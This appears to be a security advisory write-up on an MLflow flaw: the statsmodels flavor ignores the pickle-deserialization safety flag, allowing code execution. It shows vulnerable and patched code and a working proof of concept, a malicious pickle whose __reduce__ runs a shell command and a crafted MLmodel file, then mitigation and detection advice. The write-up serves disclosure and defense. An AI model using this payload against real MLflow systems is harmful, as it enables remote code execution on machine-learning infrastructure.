Sep 1, 2026·5 min read·52 visits
MLflow fails to enforce pickle deserialization restrictions within its statsmodels loading flavor, allowing remote code execution via malicious model artifacts.
A security control bypass vulnerability in MLflow allows remote attackers to execute arbitrary code on a system running MLflow when loading a crafted model artifact. The security control MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False, which restricts loading unsafe pickle-based models, can be bypassed by specifying the mlflow.statsmodels model flavor in the model's configuration.
The open-source platform MLflow provides a suite of tools to manage the machine learning lifecycle, including tracking experiments, packaging code, and sharing models. To facilitate model deployment across diverse frameworks, MLflow supports multiple flavors that dictate how models are saved, serialized, and subsequently loaded back into memory.
To address risks associated with arbitrary object deserialization, MLflow exposes a configuration flag named MLFLOW_ALLOW_PICKLE_DESERIALIZATION. When set to False, this control is intended to block the loading of unsafe pickle-based serialization formats, which are known to allow arbitrary code execution during deserialization.
This vulnerability, tracked under GHSA-GQVG-GMMX-X4HM, represents a critical breakdown in this security boundary. Rather than implementing a centralized validation layer, MLflow relied on individual model flavors to enforce the safety flag, leading to an omission in the statsmodels module.
The root cause of GHSA-GQVG-GMMX-X4HM is located within the loading logic of the mlflow.statsmodels flavor. Specifically, the internal model loading routine fails to check the state of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable before initiating deserialization.
When a model saved under the statsmodels flavor is loaded, the execution flow is passed directly to the statsmodels library. The wrapper function calls statsmodels.iolib.api.load_pickle, which directly deserializes the target file using Python's native, unsafe pickle module.
Because no verification occurs prior to this call, the environment variable configuration is completely bypassed. This enables an attacker to supply a serialized payload that executes system commands or loads malicious modules the moment the model file is parsed by the application.
The vulnerable implementation in mlflow/statsmodels/init.py demonstrates the lack of any security checks prior to loading the pickled file. In versions prior to v3.15.0, the function load_pickle was executed immediately upon retrieving the model path.
# Vulnerable Implementation
def _load_model(path):
import statsmodels.iolib.api as smio
# Direct loading of untrusted pickle file without checking safety flags
return smio.load_pickle(path)The patch introduced in Pull Request #24686 implements explicit safety checks. The updated logic checks the value of the MLFLOW_ALLOW_PICKLE_DESERIALIZATION environment variable and raises an exception if the flag is disabled, unless executing within a trusted Databricks environment.
# Patched Implementation (mlflow/statsmodels/__init__.py)
def _load_model(path):
# Verify whether pickle deserialization is permitted globally
if (
not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
and not is_in_databricks_runtime()
and not is_in_databricks_model_serving_environment()
):
raise MlflowException(
"Deserializing model using pickle is disallowed, but this model is saved "
"in pickle format. The workaround is to set environment variable "
"'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true'."
)
import statsmodels.iolib.api as smio
return smio.load_pickle(path)While the fix addresses the omission in the statsmodels flavor, the architecture remains decentralized. Any new or unpatched flavor that deserializes content using pickle without referencing this validation utility could introduce similar bypasses.
An exploitation attempt begins with the creation of a weaponized serialized object containing a custom reduce method. The attacker serializes this object using the standard Python pickle module, storing the payload inside a file named model.pkl.
import os
import pickle
class ExploitPayload:
def __reduce__(self):
# Executes a custom system command upon deserialization
return (os.system, ("whoami > /tmp/rce_proof.txt",))
# Serialize the malicious object
with open("model.pkl", "wb") as f:
f.write(pickle.dumps(ExploitPayload()))To map the payload to the vulnerable loading pathway, the attacker creates a metadata file named MLmodel. This configuration registers mlflow.statsmodels as the loader module, forcing MLflow to dispatch loading operations to the unvalidated handler.
flavors:
statsmodels:
statsmodels_version: 0.14.0
data: model.pkl
pyfunc:
loader_module: mlflow.statsmodelsOnce the targeted application or automated server attempts to load this registered model, the statsmodels flavor executes the deserialization task, triggering immediate code execution with the permissions of the running process.
The successful exploitation of this vulnerability allows unauthenticated remote attackers to execute arbitrary system commands within the context of the user running MLflow. In typical machine learning infrastructure, this execution context may have access to highly sensitive datasets, training environments, and cloud provider credentials.
If the MLflow server or client is configured to deploy model serving endpoints automatically, the attack surface is exposed to any network actor capable of submitting model files or altering the model registry. This scenario increases the severity score to 9.8, indicating complete loss of confidentiality, integrity, and availability.
In environments where user interaction is required, such as a data scientist importing an untrusted model into a local development workspace, the severity remains high (8.8) due to the necessity of a specific user action to load the model.
The primary and recommended mitigation is to upgrade the MLflow package to version v3.15.0 or later. This release introduces the required validation check in the statsmodels flavor, ensuring that the MLFLOW_ALLOW_PICKLE_DESERIALIZATION flag is respected globally across all official loaders.
In scenarios where immediate patching is not feasible, organizations should implement strict egress network filtering to prevent compromised workloads from communicating with external Command and Control (C2) servers. Additionally, input validation should be enforced to restrict model registration to trusted origins only.
Furthermore, security teams should continuously audit MLflow artifact storage for unusual MLmodel configurations. Specifically, any configuration specifying mlflow.statsmodels as the loader module should be flagged for analysis if that flavor is not standard in the development workflow.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
mlflow MLflow | < 3.15.0 | 3.15.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502, CWE-284 |
| Attack Vector | Network / Local |
| CVSS v3.1 Score | 9.8 |
| Exploit Status | Proof-of-Concept |
| KEV Status | Not Listed |
| Impact | Remote Code Execution |
The application deserializes untrusted data without sufficient verification, allowing the execution of arbitrary code.
A heap-based buffer overflow vulnerability in Pillow PyPI binary wheels (versions 11.1.0 to 12.x) allows remote code execution or application crash via crafted JPEG 2000 files processed by the bundled libopenjp2 library.
CVE-2026-109618 (dubbed PHP2Shell) is a critical vulnerability in the PHP engine core resulting from improper out-of-memory exception handling via longjmp(). When request allocation fails mid-processing, non-local control flow bypasses cleanup procedures, leaving memory structures uninitialized or in a use-after-free state during request shutdown.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.